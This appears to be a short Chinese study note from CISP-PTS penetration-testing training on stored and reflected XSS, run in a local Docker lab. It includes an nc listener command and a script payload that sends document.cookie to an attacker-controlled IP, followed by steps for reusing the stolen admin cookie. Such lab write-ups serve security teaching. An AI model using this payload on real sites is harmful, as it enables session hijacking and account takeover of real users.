本文记录了CISP-PTS学习中关于XSS漏洞的识别和利用，重点讲解如何通过XSS获取Cookie，包括环境搭建、极简式XSS示例以及利用Netcat（nc）监听服务来捕获Cookie，从而实现权限提升。核心知识点在于理解攻击者如何通过篡改Cookie获取管理员权限。
00 环境搭建
XSS靶场c0ny1/xssed
docker pull c0ny1/xssed
docker run -d -p 85:80 c0ny1/xssed
http://172.16.243.133:85/
01 XSS漏洞识别
极简式
<img src=x>
获取cookie(重点)
启动一个nc服务
nc -lvvp 888
使用payload插入存储型/反射性XSS ，一般是留言，公告等位置。
<script> document.location="http://172.16.243.129:888?id="+document.cookie</script>
nc获取到cookie
将cookie替换成浏览器cookie并刷新页面
核心知识点是普通用户获取管理员用户cookie ，刷新页面后得到管理员权限。
418
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
